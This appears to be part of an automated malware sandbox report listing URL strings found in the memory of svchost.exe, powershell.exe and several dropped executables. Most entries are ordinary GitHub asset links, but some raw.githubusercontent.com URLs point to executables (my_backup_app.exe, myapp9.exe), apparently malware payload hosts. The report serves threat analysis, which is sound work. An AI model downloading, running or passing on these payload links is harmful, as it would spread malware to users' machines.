Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/keyboard-shortcuts-dialog-3596be158eba.js
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light-3e154969b9f9.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light_colorblind-71cd4cc132ec.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light_high_contrast-fd5499848985.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/light_tritanopia-31d17ba3e139.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/mona-sans-d1bf285e9b9b.woff2
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/notifications-global-54f34167118d.js
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/pinned-octocat-093da3e6fa40.svg
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/primer-f4d27dc36ca2.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/primer-primitives-4cf0d59ab51a.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/primer-react-css.ae7959f1a60166af593d.module.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/react-lib-7b7b5264f6c1.js
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/repository-0f7cf89e325a.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/sessions-f3ddee0032e4.js
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/site-6eba77c30cf7.css
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_react-core_create-browser-history_ts-ui_packages_
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/ui_packages_updatable-content_updatable-content_ts-b2e3c7cc6e
Source: svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_mo
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-0e07cc183eed.js
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modu
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-89a69c248502.js
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_arianotify-polyfill_ariaNotify-po
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_module
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_inde
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_j
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_quote-selection_dist_index_js-nod
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_mo
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_session-resume_dist_index_js-node
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_text-expander-element_dist_index_
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-85
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-ce7225a304c5.js
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_oddbird_popover-polyfill_dist_popover_js
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_p
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_anchored-posit
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js-
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_ActionList_index_js
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_Button_js-63
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Dialog_Dialog_js-no
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_KeybindingHint_Keyb
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_j
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/vendors-node_modules_primer_react_node_modules_primer_octicon
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/assets/wp-runtime-9436f50702aa.js
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/favicons/favicon.png
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubassets.com/favicons/favicon.svg
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.githubp
Source: powershell.exe, 0000001F.00000002.2098519550.0000017B7DBA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5ons
Source: Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://ipinfo.io/json
Source: powershell.exe, 0000001F.00000002.2069395012.0000017B1008E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2020827601.0000017B01C59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.000001300274C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2086759234.0000013010BBE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C311B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2739375152.000001D0D153A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB919D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2731045402.000001FAC75BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://partner.github.com
Source: svchost.exe, 0000001B.00000002.2653908426.00000204993B8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204994D3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204993F9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D8B9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D994000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.gith
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D994000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchito10/myFiles/main/my_backup_app.exe
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/panchito10/myFiles/main/myapp9.exe
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/rootbossko/myfiles/main/my_backup_app.exe
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/rootbossko/myfiles/main/my_backup_app.exep4
Source: svchost.exe, 0000001E.00000002.2679717788.000002AC9D8B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/rootbossko/myfiles/main/myapp9.exe
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://resources.github.com
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://resources.github.com/learn/pathways
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://skills.github.com
Source: svchost.exe, 0000001B.00000002.2653908426.000002049946D000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D92D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://user-images.githubusercontent.com/
Source: Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.gnu.org/licenses/
